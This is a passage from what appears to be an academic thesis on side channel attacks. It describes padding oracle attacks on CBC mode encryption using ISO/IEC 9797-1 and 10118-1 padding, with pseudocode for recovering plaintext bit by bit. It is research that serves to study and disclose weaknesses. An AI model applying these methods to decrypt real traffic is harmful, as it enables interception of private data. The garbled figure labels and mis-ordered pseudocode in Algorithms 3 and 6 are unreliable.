Traffic analysis is concerned with deriving information from communication patterns. The identities of the communicating parties, direction, frequency and length of messages can yield much useful information. Traditionally traffic analysis has been used by the military and law enforcement agencies to monitor, conduct investigations or surveillance on radio frequency and telephone communications. Observing traffic patterns is useful as an alternative to directly accessing message contents, for example when the traffic is encrypted, or, in the case of wiretapping, when a court order is required. Traffic analysis of computer networks can be applied to traffic flow at different layers, such as peer-to-peer, single host, protocol and session. The SSH timing attack of Song et al. mentioned earlier can be regarded as a form of traffic analysis at the session layer.

A few defences against traffic analysis have been proposed and implemented. There are host-based anonymity services such as anonymous remailers (e.g. Mixmaster [9], Cypherpunks [3]), and anonymity networks (e.g. Freenet [18], Onion Routing [12] and its derivative Tor [24]). Traffic Flow Confidentiality (TFC) provisions are available in the IPsec suite of protocols as an option. The SSH architecture recommends the use of dummy packets and random-length padding [201, Section 9.3.9] to thwart traffic analysis such as that used in the attack of Song et al.

2.7.5 Further Research

Side channel analysis is a relatively new subject of academic research. The cryptanalytic effectiveness of side channel attacks on otherwise sound cryptographic algorithms illustrates the difficulty of practical cryptography: the security of a system must be considered thoroughly as a whole, and the mathematical security of any cryptographic algorithm, although important, is only a part. With the rise in the deployment of cryptographic modules such as smart cards, radio frequency identity (RFID) chips and set-top boxes in applications such as payment, personal communication, passports, identity cards and copyright protection, there are huge incentives for malicious abuse of such systems, with potentially profound consequences.

The practical significance of side channel attacks is exemplified by the development of
the forthcoming NIST standard FIPS 140-3. An overview of side channel attacks and their relevance to the standard is given in [202]. The standard will specify security requirements for cryptographic modules for use with the U.S. Federal Government. The current draft standard [157] requires level 3 cryptographic modules to be protected from timing attacks, whereas at level 4, the module must also resist SPA and DPA attacks as well as faults induced by temperature and voltage fluctuations. At level 5, the highest level of protection, the module is additionally required to withstand electromagnetic emanation attacks.

In order to protect a system from side channel attacks, one must first focus on how a system might be attacked. Further studies may yet uncover other sources of side channels in security systems and cryptographic implementations. Existing attacks may be made more powerful by combining multiple side channels [177, 179], while the efficiency of proposed attacks and risks to systems may be better understood and evaluated through mathematical models [178]. While sensitive Internet traffic is commonly encrypted, more research is needed to determine the potential traffic analysis attacks that may help undermine the confidentiality of encrypted data, and user privacy on anonymous networks.

2.8 Chapter Summary

In this chapter we have covered the basic concepts of cryptography and side channel attacks. We focussed on symmetric key cryptography and error message attacks that later chapters will build on. We also gave a taste of the gap between theoretical and practical security, as illustrated by the exploitation of side channels which can compromise provably secure cryptography. The discovery of side channel attacks also demonstrates the inherent challenges in designing and implementing secure systems. The security of a system depends on its resistance to attacks from all vectors. A functional secure system is usually complex in nature. The interactions of components, subsystems and the environment often introduce security vulnerabilities, as the resulting complexity may mask unexpected behaviours or unforeseen configurations, which create avenues for attacks.
3.1 Introduction

In the previous chapter, we gave a survey of side channel attacks in the literature. In this chapter and the next, we shall investigate how padding information for CBC mode encrypted messages, when revealed, can be exploited as a side channel for plaintext recovery.

This chapter reports on our attacks on CBC mode encryption in the presence of a padding oracle, where the encryption is performed as specified in a draft version of ISO/IEC 10116-1 (3rd edition) [99], a standard on modes of operation for a block cipher developed by the International Organization for Standardization (ISO).

This chapter and the next form the part of this thesis on theoretical side channel attacks, in the sense that while most of the attacks are computationally feasible (and highly efficient in some cases), the circumstances of the attacks are idealised. Most importantly, like Vaudenay’s earlier work, we use the abstract notion of a padding oracle which provide a definite answer upon each query. We do not concern ourselves with whether or not padding oracles exist in real systems, and the possibility of probabilistic oracle responses. Neither do we worry about issues such as the availability of ciphertexts and knowledge of certain parameters in these two chapters.

Having said the above, the attacks in this chapter and the next are more practical in nature than what we might term “academic” attacks. For example, we seek to recover plaintexts completely rather than to distinguish pairs of ciphertexts, and we consider computational complexities and storage requirements (when applicable) to be important factors in devising and evaluating our attacks.

3.1.1 Padding Oracle Attacks

We introduced the concept of a padding oracle in Section 2.7.1. We provide here a recap of Vaudenay’s pioneering work on the subject and related developments by other researchers.

In [191] Vaudenay presented an attack on CBC mode encryption when a padding method as specified by the TLS 1.0 standard is used. The attack requires a padding oracle, which on receipt of a ciphertext, decrypts it and replies to the sender whether the padding is valid or not. The attack model assumes the attacker to have intercepted some padded then CBC mode encrypted ciphertext under some key $K$, and to have access to the padding oracle (operating using the same key $K$). The result is that the attacker can
recover the plaintext corresponding to any block of ciphertext using an average of $128b$ oracle calls, where $b$ is the number of bytes in a block and a byte is eight bits.

Further research has been done by Black and Urtubia [53], who generalised Vaudenay’s attack to other padding schemes and modes of operation, and presented a padding method which prevents the attack. In [62], Canvel et al. demonstrated the practicality of padding oracle attacks and showed how subtleties in security protocol implementation could lead to flaws. First of all they realised an SSL/TLS padding oracle by exploiting timing information that is available upon submission of correctly and incorrectly padded ciphertexts. Secondly an attack against the IMAP protocol when used over SSL/TLS was implemented. In a typical setting, the attack recovers the first few characters of the IMAP password within one hour.

3.1.2 ISO standards on Modes of Operation


The ratification of the third edition of ISO/IEC 10116 involved a series of drafts. The attacks presented in this chapter are against the second committee draft [99] of the proposed third edition of the standard published in 2002, while Chapter 4 contains attacks on the later final committee draft of the proposed standard.

The second committee draft [99] does not specify any padding methods for the modes of operation (including CBC) that require one. In Section 5: Requirements it indicates that padding methods are beyond its scope and instead refers to ISO/IEC 9797-1 [29] (MACs using a block cipher) and 10118-1 [30] (general hash functions) where a few methods for padding are defined. Using a similar approach to that used by Vaudenay in [191], we have found attacks of various severity against some of those methods when used with CBC mode encryption. These attacks do not, however, entail any security implications for those padding methods when they are used within their proper contexts (i.e. MACs and hash functions).

Note that in Annex B.2.3 of [99], ciphertext-stealing and another method are described for the special treatment of the last two blocks when encrypting under CBC mode, when padding the plaintext is not acceptable. The standard does not prescribe that these methods be used, only that they can be used instead of padding. We emphasise that we are not attacking these two methods, but rather the padding methods in ISO/IEC 9797-1 and 10118-1 that are recommended for use in [99].

3.1.3 Overview of Attacks

We assume that an attacker has access to a padding oracle operating under the fixed key $K$ and has intercepted a ciphertext encrypted in CBC mode under that key. The attacker’s aim is to recover the plaintext for that ciphertext. We further assume that the attacker is able to choose the initialisation vector (IV) when submitting ciphertexts to the oracle.

Under the above assumptions, our main results are as follows:
1. Attacking padding method 3 of ISO/IEC 9797-1 [29], the attacker can recover the plaintext for every ciphertext block with \( n + O(\log_2 n) \) oracle queries for each block, where \( n \) is the block size in bits.

2. We have two attacks against padding method 3 of ISO/IEC 10118-1 [30], though they are to some degree interdependent. The padding method requires a parameter \( r \) to be chosen where \( 1 \leq r \leq n \). In the first of our two attacks, the attacker can recover all plaintext bits for all ciphertext blocks with a complexity of \( O(2^{r-1}) \) oracle queries per block when \( r < n \). When \( r = n \) the complexity increases to \( O(2^n) \). In our second attack, depending on which of two possible states the padding is in, the attacker either recovers the whole of the last plaintext block with \( n + O(\log_2 n) \) oracle queries, or recovers some \( u \) bits of the last-but-one plaintext block which then speeds up the first attack by a factor of \( 2^{u-1} \) in recovering the remaining \( n - u \) bits of the block.

### 3.2 Attacking the Padding Methods of ISO/IEC 9797-1

#### 3.2.1 The standard

ISO 9797-1 [29] specifies six algorithms to compute an \( m \)-bit MAC using an \( n \)-bit block cipher with a secret key. The algorithms themselves are essentially instances of the CBC-MAC method or variants thereof. Padding is applied to the data, as with CBC mode encryption, to make the length (in bits) of the input to the MAC method a multiple of \( n \), the block cipher size. For some methods padding is always applied, regardless of the plaintext length.

#### 3.2.2 Padding Method 1

The method is described as follows:

“The data string \( D \) to be input to the […] algorithm shall be right-padded with as few (possibly none) ‘0’ bits as necessary to obtain a data string whose length (in bits) is a positive integer multiple of \( n \).”

This method is many-to-one: different data strings may be padded to yield the same result, which means that padding cannot be removed unambiguously if the length of the plaintext is not known. Consequently, given a padded data string, one cannot even tell where the data/padding boundary is, which precludes checks for padding validity. In fact, without data length information, every plaintext \( P \) is a correctly padded version of at least one data string \( D \). This of course limits the applicability of the padding technique to cases where the plaintext is of a fixed length, or where the proper length is somehow otherwise conveyed to the recipient.

No attack can be based on information returned from a padding oracle because any ciphertext submitted to such an oracle will decrypt to give a correctly padded plaintext.
3.2 Attacking the Padding Methods of ISO/IEC 9797-1

\[
\begin{array}{c c c}
(L_D)_2 & \text{DATA} & 00...0 \\
\hline
n & L_D & [0, n-1]
\end{array}
\]

Figure 3.1: ISO/IEC 9797-1 padding method 3

3.2.3 Padding Method 2

The method:

“The data string \( D \) to be input to the [...] algorithm shall be right-padded with a single ‘1’ bit. The resulting string shall then be right-padded with as few (possibly none) ‘0’ bits as necessary to obtain a data string whose length (in bits) is a positive integer multiple of \( n \).”

This method has been analysed in [53] (it is called OZ-PAD in that paper). The key result of [53] is that the method appears to resist padding oracle attacks. This is because practically all data strings are correctly padded, with the only exception being when a block contains all ‘0’ bits.

For this reason, however, this padding method lacks semantic security properties. Using the example given in [53], we assume an encryption oracle with the following behaviour: after receiving a plaintext block, it returns, at random, either the encryption of that block, or the encryption of a random block. If the encryption oracle returns the ciphertext \( IV \parallel C \) on the input \( P \), we can use the padding oracle to distinguish the plaintext corresponding to \( C \) if the above padding method is used. If we submit the ciphertext \( IV \oplus P \parallel C \) to the padding oracle, an INVALID response indicates (with overwhelming probability) that \( P \) was indeed encrypted by the encryption oracle. Practically, the lack of semantic security allows an attacker to pick out the plaintext corresponding to a ciphertext from a small pool of candidate plaintexts.

3.2.4 Padding method 3

The method is illustrated in Figure 3.1 and described as follows:

“The data string \( D \) to be input to the [...] algorithm shall be right-padded with as few (possibly none) ‘0’ bits as necessary to obtain a data string whose length (in bits) is a positive integer multiple of \( n \). The resulting string shall then be left-padded with a block \( L \). The block \( L \) consists of the binary representation of the length (in bits) \( L_D \) of the unpadded data string \( D \), left-padded with as few (possibly none) ‘0’ bits as necessary to obtain an \( n \)-bit block. The right-most bit of the block \( L \) corresponds to the least significant bit of the binary representation of \( L_D \).”
3.2 Attacking the Padding Methods of ISO/IEC 9797-1

We have an attack against this padding scheme that decrypts, a block at a time, arbitrary ciphertexts $C_1 || C_2 || \ldots || C_q$. Once initialised, this attack requires $n$ oracle queries to recover each plaintext block. There are two phases to this attack: determining $L_D$ and the actual decryption.

3.2.4.1 Phase 1: Determining $L_D$

In this phase we learn the value $L_D$, the content of the first block, which indicates the length of the unpadded data. In order to obtain $L_D$, we use a padding oracle to determine the number of ‘0’ bits that have been appended to the last block, if any. The method we use is described below and illustrated in Figure 3.2.

As we have seen in Section 2.3.2.3, flipping any single bit at position $i$ in a ciphertext block $C_j$ would also flip the plaintext bit at position $i$ in block $P_{j+1}$ after decryption (whilst corrupting the whole plaintext block $P_j$). This allows us to flip arbitrary bits within a block in the decrypted plaintext by carefully altering the ciphertext. The bit-flipping technique is in fact the basis of all of our attacks.

Using this padding scheme, padded data will always consist of $q \geq 2$ blocks. Here we consider the case $q \geq 3$; the case $q = 2$ is handled separately below. The string is right-padded with some ‘0’ bits and left-padded with the length block containing the binary representation of $L_D$. $L_D$ is effectively a pointer to the last bit of the unpadded data, all the bits to the right of which should be ‘0’. Let us consider what happens if we flip a single bit in $P_q$, the last plaintext block which typically contains data and padding (by flipping a bit in $C_{q-1}$, the last-but-one ciphertext block), and then submit the modified ciphertext to the padding oracle. This change does not affect the decryption of $C_1$ (since $q \geq 3$) and therefore the length block remains intact. We are now presented with one of these two cases:

1. The bit flipped is part of the original unpadded data. The padding is therefore still intact and correct and the oracle returns VALID.

2. The bit flipped is one of those ‘0’ bits padded. The oracle therefore detects a ‘1’ bit where it should have been ‘0,’ and thus returns INVALID.

In summary, a VALID oracle response implies the padding boundary is to the right of the current position, and to the left otherwise. So we now can work out the exact location of the boundary by flipping the last plaintext block one bit at a time, say from right to left. The transition point of oracle response from INVALID to VALID tells us the location of the boundary we are after. This procedure can be performed more efficiently by using a binary search similar to that presented in Section 3 of [53]. Once we locate the boundary it is trivial to compute the value $L_D$ from the number of blocks in the ciphertext and the position of the boundary within the last block.

This phase is presented in Algorithm 1. The notation $X_{a,b}$ denotes the bit at position $b$ of the ciphertext or plaintext block $X_a$. We number the positions within a block from 0 to $n - 1$, going from left to right.
3.2 Attacking the Padding Methods of ISO/IEC 9797-1

This method of obtaining \( L_D \) cannot be applied when the unpadded data consists only of a single block (this includes the case of the data being the null string). Here, the padded plaintext consists of two blocks \( P_1 || P_2 \). Now flipping bits in the last (second) plaintext block would require changes in the first ciphertext block \( C_1 \), which in turn would completely randomise the \( L_D \) value in the first plaintext block.

Fortunately, there is a way to circumvent this problem for block sizes \( n = 2^m \), \( m \geq 1 \), the most common situation in practice. Let \( C = IV || C_1 || C_2 \) be the ciphertext for which we wish to determine \( L_D \). It is not hard to see that if \( IV' = IV \oplus 0 \ldots 0 1 0 \ldots 0 \), then \( C' = IV' || C_1 || C_2 \) is also a valid ciphertext unless \( L_D = 0 \) or \( L_D = n \) (in which cases the padding oracle will return INVALID on submission of \( C' \)). In the situation where \( C' \) is valid then we can simply apply the method described above to \( C' \) to obtain \( L_D' = L_D + 2^n \), and hence \( L_D \).

We need to apply a further trick to distinguish the remaining cases, i.e. when \( L_D = 0 \) or \( L_D = n \). Now we set \( IV'' = IV \oplus 0 \ldots 0 1 1 0 \ldots 0 \) and submit \( C'' = IV'' || C_1 || C_2 \) to the padding oracle. If \( L_D = 0 \), then \( C'' \) will, on decryption, contain a length field \( L_D'' \) with \( L_D'' = 3n \). Since the unpadded data in \( C'' \) is of length at most \( 2n \), the padding oracle will output INVALID. On the other hand, if \( L_D = n \), then \( C'' \) will yield \( L_D'' = 2n \) and \( C'' \) will be accepted as VALID. Hence one further oracle query on a carefully chosen \( C'' \) is sufficient to decide whether \( L_D = 0 \) or \( L_D = n \).

The special case \( q = 2 \) is presented in Algorithm 2.

3.2.4.2 Phase 2: Decrypting

We now have \( L_D \), whose binary encoding occupies the first plaintext block. With that knowledge and the ability to manipulate the IV, we can modify the content of the length block to indicate a data length of any desired value between 0 and \( 2^n - 1 \). At this point we introduce one additional piece of notation. We define intermediate block \( I_j \) by \( I_j = d_K(C_j') \), as shown in Figure 3.3. Now, if \( L_D' \) is the desired value, we can modify \( IV \)
3.2 Attacking the Padding Methods of ISO/IEC 9797-1

Algorithm 1 Recovering $L_D$ from an ISO/IEC 9797-1 padded ciphertext

Input: $IV || C_1 || C_2 || \ldots || C_q$

Output: $L_D$

function 9797-1-m3-get-$L_D$-general

$C := IV || C_1 || C_2 || \ldots || C_q$

$l := 0$

$u := n - 1$

repeat

$h := \lceil (l + u) / 2 \rceil$

$C_{q-1,h} := C_{q-1,h} \oplus 1$

if oracle($C$) = VALID then

$l := h$

else

$u := h - 1$

end if

$C_{q-1,h} := C_{q-1,h} \oplus 1$

until $l = u$

return $L_D := (q - 1)n + l + 1$

end function

by setting $IV' = (L_D')_2 \oplus I_1 = (L_D')_2 \oplus (L_D) \oplus IV$. We can also calculate $I_1$, the first intermediate block, given by $I_1 = L_D \oplus IV$ (which also equals $d_K(C_1)$ by definition).

We are now ready to decrypt an arbitrary ciphertext block $C_k$ from the ciphertext $IV || C_1 || C_2 || \ldots || C_q$, where $2 \leq k \leq q$ (Figure 3.3). Note that there is no need to decrypt $C_1$ as it contains only the value $L_D$. Plaintext is recovered in a bit-by-bit fashion, starting from the rightmost bit.

To begin, we submit to the oracle the ciphertext $C' = IV'||C_1||R||C_k$ where

$$IV' = (2n - 1)_2 \oplus (L_D)_2 \oplus IV,$$

and $R$ is a random $n$-bit block. After decryption, $L_D'$, the length field in the resulting plaintext $P_1' = L_D'||P_2'||P_3'$ points to the last-but-one bit of $P_3'$, the last plaintext block. The padding oracle will, according to the padding scheme, either output VALID for $C'$ if $P_{3,n-1}'$ is equal to '0', or INVALID if $P_{3,n-1}'$ is equal to '1'. We then obtain $I_{3,n-1}' = P_{3,n-1}' \oplus R_{n-1}$ and this block $I_3'$ is equal to the original intermediate block $I_k$. From this we can recover the plaintext bit $P_{k,n-1} = I_{3,n-1}' \oplus C_{k-1,n-1}$.

To decrypt the next bit, we construct a new ciphertext for the oracle. We want, after decryption, the value in $L_D'$ to decrement by one, and to ensure that $P_{3,n-1}'$ is '0'. We can achieve the former objective by altering $IV$ appropriately and the latter by keeping/flipping last bit of $C_2'$ if the previous response was VALID/INVALID. Submitting the resulting ciphertext to the oracle, a VALID response indicates $P_{3,n-2}'$ is a '0' bit, and '1' otherwise. We can then compute $I_{3,n-2}' = P_{3,n-2}' \oplus R_{n-2}$. Note that the random block $R$ at this iteration may (or may not) have changed from the last iteration. We can now obtain the next plaintext bit $P_{k,n-2} = I_{3,n-2}' \oplus C_{k-1,n-2}$.
3.2 Attacking the Padding Methods of ISO/IEC 9797-1

Algorithm 2 Recovering $L_D$ from an ISO/IEC 9797-1 padded ciphertext (special case)

Input: $IV\|C_1\|C_2$
Output: $L_D$

Require: $n = 2^m, m \geq 1, q = 2$

function 9797-1-m3-get-$L_D$-special

$IV' := IV \oplus 0 \ldots 0\,1\,0 \ldots 0$

$C' := IV'||C_1||C_2$

if oracle($C'$) = VALID then

$L'_D = 9797-1-m3-get-L_D$-general($C'$)

return $L_D := L'_D - 2^m$

else

$IV'' := IV \oplus 0 \ldots 0\,1\,0 \ldots 0$

$C'' := IV''||C_1||C_1||C_2$

if oracle($C''$) = VALID then

return $L_D := n$

else

return $L_D := 0$

end if

end if

end function

The process is then repeated $n-2$ times, decrementing $L'_D$ by one per iteration while making sure the bit positions in $P'_3$ corresponding to those we have extracted stay at ‘0’. One bit of $I'_3$ and one bit of $P_k$ are recovered at each iteration and we stop after $n-1$ iterations when the $n-1$ rightmost bits of those blocks are determined. We cannot extract the leftmost bit of the block $I'_3$ (hence $P_{k,0}$) by continuing this process because at the next step $L'_D$ would indicate a length $2n$, a multiple of the block size. According to the standard, we would never append a new block in such cases, and the oracle would therefore respond with INVALID.

Instead, we extract this leftmost bit $P_{k,0}$ by using a different approach. We assume that standard binary encoding is used for length information, with least significant bit in the rightmost position. (A similar attack can be mounted with the opposite convention too.) Consider the ciphertext $C' = IV'||C'_1||R$ where $IV' = C_{k-1} \oplus 0P_{k,1}P_{k,2} \ldots P_{k-1,n} \oplus (n)_2$, $C'_1 = C_k$ and $R$ is a random $n$-bit block. This ciphertext is constructed in such a way that after decryption the length field is equal to $P_{k,0}\ldots 0 \oplus (n)_2$, indicating a length of either $n$ or $n + 2^{n-1}$ depending on the value of $P_{k,0}$. We submit $C'$ to the oracle, whose output of VALID(INVALID) will indicate that $P_{k,0} = 0 (P_{k,0} = 1$, respectively.)

We summarise the decryption phase as Algorithms 3 and 4 for decrypting the rightmost $n-1$ bits and extracting the leftmost bit respectively. In these algorithms, $\Omega$ is the function
3.2 Attacking the Padding Methods of ISO/IEC 9797-1

![Diagram](image)

Figure 3.3: Attack phase 2 — decrypting

which takes as input a ciphertext $C$ and is defined as:

$$
\Omega(C) = \begin{cases} 
0 & \text{if the padding oracle returns VALID for input } C, \\
1 & \text{if the padding oracle returns INVALID for input } C.
\end{cases}
$$

**Algorithm 3** Recovering $n - 1$ bits from an $n$-bit ISO/IEC 9797-1 padded ciphertext block

**Input:** $L_D, IV, C_1, C_k$

**Output:** $P_{k,1}P_{k,2}\ldots P_{k,n-1}$, the rightmost $n - 1$ bits of $P_k$

**function** 9797-1-M3-DECYPRT

$R :=$ a random $n$-bit block

for $j := n - 1$ to 1 do

$IV' := IV \oplus L_D \oplus (n + j)2$

$b := \Omega(C')$

$C' := IV'||C_1||R||C_k$

$P_{k,j} := b \oplus R_j \oplus C_{k-1,j}$

$R := R \oplus 0\ldots 0 b 0\ldots 0$

end for

return $P_{k,1}P_{k,2}\ldots P_{k,n-1}$

end function

3.2.4.3 Complexity

Phase 1, in the general case ($q \geq 3$), should take no more than $\log_2 n$ oracle queries using binary search. To decrypt many messages encrypted under a fixed key $K$, this phase only needs to be performed once. For the special case $q = 2$, one further oracle query is required in situations where $L_D = 0$ or $L_D = n$ to distinguish between them (no further oracle queries are needed otherwise). Phase 2 takes one oracle query per plaintext bit, thus $n$ queries per plaintext block.
Algorithm 4: Recovering the leftmost bit from an $n$-bit ISO/IEC 9797-1 padded ciphertext block

**Input:** $C_{k-1}, C_k, P_{k,1}P_{k,2} \ldots P_{k,n}$

**Output:** $P_{k,0}$, the leftmost bit of $P_k$

**function** 9797-1-m3-decrypt-last-bit

$R :=$ a random $n$-bit block

$IV' := C_{k-1} \oplus 0P_{k,1}P_{k,2} \ldots P_{k,n} \oplus (n)_2$

$C' := IV'||C_k||R$

$P_{k,0} := \Omega(C')$

**end function**

Fewer than $\log_2(n) + 1 + (q - 1)n$ oracle queries are needed to recover the complete plaintext from a $q$-block ciphertext. This estimate takes into account that the first block contains $L_D$ which is not part of the unpadded data, and its value is already known after phase 1. Further ciphertext blocks encrypted under the same key can be decrypted using one query per bit.

3.2.4.4 Optimality

The oracle returns one bit of information per use, therefore, information-theoretically, $(q - 1)n$ is the smallest number of oracle queries needed to recover $(q - 1)n$ bits of plaintext entropy. Hence we claim our attack makes nearly optimal use of the padding oracle, especially when used against many ciphertexts encrypted for the same key.

3.3 Attacking the Padding Methods of ISO/IEC 10118-1

3.3.1 The standard

ISO/IEC 10118 is a standard for hash functions. Part 1 of the standard, ISO/IEC 10118-1 [30], is concerned with the general construction of an iterative hash function.

Three padding methods are specified in [30] to be applied to data before hashing. Padding methods 1 and 2 in this standard are identical to the respective methods in ISO/IEC 9797-1 which we covered in the previous section. We focus instead on padding method 3 of [30].

3.3.2 Padding method 3

In the standard, $L_1$ is used to denote the block size. For consistency, it will be replaced by our usual notation $n$ hereafter. The method is as follows (Figure 3.4):

“This padding method requires the selection of a parameter $r$ (where $r \leq n$), e.g. $r = 64$, and a method of encoding the bit length of the data $D$, i.e. $L_D$ as a bit string of length $r$. The choice for $r$ will limit the length of $D$, in that $L_D < 2^r$.”
3.3 Attacking the Padding Methods of ISO/IEC 10118-1

![Diagram](image)

Figure 3.4: ISO/IEC 10118-1 padding method 3

“The data $D \ldots$ is padded using the following procedure.

1. $D$ is concatenated with a single ‘1’ bit.

2. The result of the previous step is concatenated with between zero and $n-1$ ‘0’ bits, such that the length of the resultant string is congruent to $n-r$ modulo $n$. The result will be a bit string whose length will be $r$ bits short of an integer multiple of $n$ bits (in the case $r=n$, the result will be a bit string whose length is an exact multiple of $n$ bits).

3. Append an $r$-bit encoding of $L_D$ using the selected encoding method, yielding the padded version of $D$.

The above description can be summarised as “pad a ‘1’ after the data, followed by the smallest number of ‘0’s needed to align the subsequent $r$-bit encoding of $L_D$ with the end of a block”. Using this method, the padded bits for data string $D$ are appended in one of two ways:

**Same-block** $(L_D \mod n) \leq (n-r-1)$ The last data block has enough space after the last data bit to contain at least a single ‘1’ bit and the $r$ bits of $L$, the length block that holds $L_D$. The number of padded bits is between $r+1$ and $n-1$.

**New-block** $(L_D \mod n) \geq (n-r)$ The last data block does not have enough space to contain a ‘1’ bit and the $r$ bits of $L$, and an extra block is required to accommodate (some of) the padding bits. The number of padded bits is between $n$ and $n+r$ and the padding generally extends over two blocks. Note that this will always be the case when $r \geq n-1$.

We have identified two attacks against this method when used with CBC mode encryption, although they are to some degree dependent on each other. We present the attacks in detail below but provide an overview here. Attack 1 recovers the plaintext block $P_k$ by first searching for a block $IV$ that makes $IV||C_k$ a ciphertext corresponding to a correctly padded plaintext. This ciphertext is then used as an input to phase 1 of Attack 2 which completely recovers its plaintext. Attack 2, by using a two-phase technique similar to the attack on the ISO/IEC 9797-1 padding scheme above, is able to efficiently extract plaintext bits from the last block of a same-block padded ciphertext. In the new-block padded case, phase 2 of Attack 2 performs a speeded-up version of Attack 1 to recover data bits in the penultimate block.
3.3 Attacking the Padding Methods of ISO/IEC 10118-1

Figure 3.5: Directed IV search

We traverse through all values of these \( r \) bits with a high probability of success.

\[ C'_1 = C_k \]

\[ d_r \]

\[ I' \]

\[ P'_1 \]

‘Is \( P'_1 \) correctly padded?’

\[ IV \]

\[ I' \]

\[ P'_1 \]

\[ 'srr \]

\[ rr \]

\[ W e \]

\[ t r a v e r s e \]

\[ h r o u g h \]

\[ a l l \]

\[ v a l u e s \]

\[ o f \]

\[ t h e \]

\[ s e r \]

\[ b i t s \]

\[ w i t h \]

\[ a \]

\[ h i g h \]

\[ p r o b a b \]

\[ i l t y \]

\[ o f \]

\[ s u c c e s s . \]

\[ \]
with a probability of $1 - 2^{r-n}$ this attack will succeed after $2^{r-1}$ oracle queries on average. In exactly one case with a probability of $2^{r-n}$, the attack fails after the initial $2^r$ oracle queries, requiring on average $2^{r-1}$ further queries. Summing up the expected number of queries for the two cases above gives an overall average complexity of $2^{r-1} + 2^{2r-n}$ queries. The maximum number of oracle queries needed for this attack occurs in the situation where the successful setting does not appear until the very last of the second set of $2^r$ iterations, having made $2^{(r+1)}$ queries in total.

An algorithm for Attack 1 in the case $r \leq n - 1$ is given in Algorithm 5.

**Algorithm 5 Directed IV search against an ISO/IEC 10118-1 padded ciphertext**

**Input:** $C_k, n, r$  
**Output:** $IV'$ s.t. $IV'||C_k$ is a valid ciphertext

```plaintext
function 10118-1-m3-a1-general

Ensure: $1 \leq r < n$

$IV_0 :=$ a random $n$-bit block  
$IV' := \overbrace{0 \ldots 0}^{n}$  
$i := 0$

repeat

$IV' := IV_0 \oplus \overbrace{0 \ldots 0}^{n-r-1} i_2$  
$n-r-1 r+1$

$C := IV'||C_k$

$i := i + 1$

until oracle($C$) = VALID

return $IV'$
end function
```

Next we consider the case $r = n$. Here a valid plaintext must be at least two blocks in length and a three-block ciphertext $IV'||R||C_k$ is required to perform the attack. Instead of modifying only the IV as before, we now also change the random block $R$ at each iteration. The most likely valid two-block plaintext to obtain at random is

$$x_0 x_1 \ldots x_{n-2}1 \overbrace{(L_D = n-1)}^{n}$$

where each $x_i$ can be either ‘0’ or ‘1’. A valid two-block plaintext is guaranteed to occur if we traverse through all $2^{n+1}$ possible settings of the second plaintext block along with the rightmost bit of the first plaintext block, by modifying $R$ and the rightmost bit of $IV'$ respectively. This strategy has an average complexity of $2^n$ oracle queries.

This special case is illustrated in Algorithm 6.

**Decrypting.** Once we have a valid padding we can employ Attack 2 below with input a valid ciphertext of the form $IV'||C_k$ (when $r \leq n-1$) or $IV'||R||C_k$ (when $r = n$).

We consider first the case $r \leq n - 2$. Here the plaintext corresponding to the ciphertext
3.3 Attacking the Padding Methods of ISO/IEC 10118-1

Algorithm 6 Directed IV search against an ISO/IEC 10118-1 padded ciphertext (special case)

**Input:** $C_k, n, r$

**Output:** $IV'$, $R$ s.t. $IV'||R||C_k$ is a valid ciphertext

**function** 10118-1-m3-a1-special

**Ensure:** $r = n$

1. $IV_0 :=$ a random $n$-bit block
2. $R_0 :=$ a random $n$-bit block
3. for $i := 0$ to $2^n - 1$ do
   1. $R := R_0 \oplus i$
   2. for $j := 0$ to $n$ do
      1. $IV' := IV_0 \oplus 0...0j$
      2. $C := IV'||R||C_k$
      3. if oracle($C$) = VALID then
         1. return $IV'$, $R$
   end if
4. end for
4. end for
5. end function

submitted to Attack 2 will always be same-block padded (since it only contains one block). Then Attack 2 will efficiently recover the entire last plaintext block for this ciphertext, which we denote by $P'_1$. $P'_1$ will in general consist of data bits, padding bits and length information. From $P'_1$, it is easy to recover $P_k$, the plaintext block that we are actually interested. We have:

$$P_k = P'_1 \oplus IV' \oplus C_k - 1.$$  

The case where $r = n - 1$ is a special case. The only valid one-block plaintext $P'_k$ for this choice of $r$ is one that contains a single ‘1’ followed by an $(n - 1)$-bit encoding of $L$ indicating a length of zero. In this case we can by-pass Attack 2 altogether and use the relation above to recover $P_k$.

For the final case $r = n$, the first phase of Attack 2 below efficiently recovers the length of the unpadded data for the valid ciphertext $IV'||R||C_k$. This information is contained in the length field which occupies all of $P'_2$, the second plaintext block for this ciphertext. Thus after the first phase of Attack 2, $P'_2$ is known. Now $P_k$ can be recovered from:

$$P_k = P'_2 \oplus R \oplus C_k - 1.$$  

**Complexity.** Obtaining a valid plaintext block takes on average $2^{r-1} + 2^{2^n-r+1}$ oracle queries when $r \leq n - 1$ and on average $2^n$ oracle queries in the case $r = n$. Our use of Attack 2 below has a complexity of $n + O(\log_2 n)$ oracle queries for all values of $r$ (recall that for $r = n$, only the first phase of Attack 2 is needed, while for $r \leq n - 1$, the plaintext
3.3 Attacking the Padding Methods of ISO/IEC 10118-1

is same-block padded in which case Attack 2 is efficient). Thus our use of Attack 2 does not contribute significantly to the overall complexity of decrypting a single block.

IMPACT. This attack applies to any ciphertext block and all \( n \) bits within the block are recovered. For many choices of \( r \) this attack is many orders faster than an exhaustive key search, and for a small enough \( r \) this attack will be practical whenever a padding oracle is available. When \( r = n \), our attack is still better than an exhaustive key search for block ciphers whose key size is greater than the block length. We also note that the choice of the seemingly innocuous parameter \( r \) has far more serious security consequences than it first appears.

3.3.2.2 Attack 2: Attacking the last block(s)

This attack is conceptually similar to the one against padding method 3 of ISO/IEC 9797-1 given above: there are two phases, the first of which determines \( L_D \), followed by the second phase which recovers any plaintext that is found in a “mixed” block – that is, a block that consists of both data and padding bits. There is obviously at most one such block in any plaintext padded using this padding method, which is either the last block or the one that immediately precedes it. If the padding starts exactly on a block boundary, then our attack does not recover any (unpadded) data bits.

OBTAINING \( L_D \). We want to learn \( L_D \), the unpadded data length. For ease of presentation we first examine the case \( r \leq n - 2 \), but our algorithm to follow handles all values of \( r \). Here, in the same-block padded case, the last plaintext block \( P_q \) in the ciphertext \( IV || C_1 || C_2 || \ldots || C_q \) has a format as follows:

\[
\begin{array}{c}
\text{[DATA]} \ 10 \ldots 0 \ (L_D)_2 \\
\hline
\end{array}
\]

where \( t + p + r = n \) and \( p \geq 1 \). In the new-block padded case, the above format spans the last two blocks \( P_{q-1} \) and \( P_q \) and we put \( t + p + r = 2n \). We note that the attacker does not at first know which of the cases he is faced with.

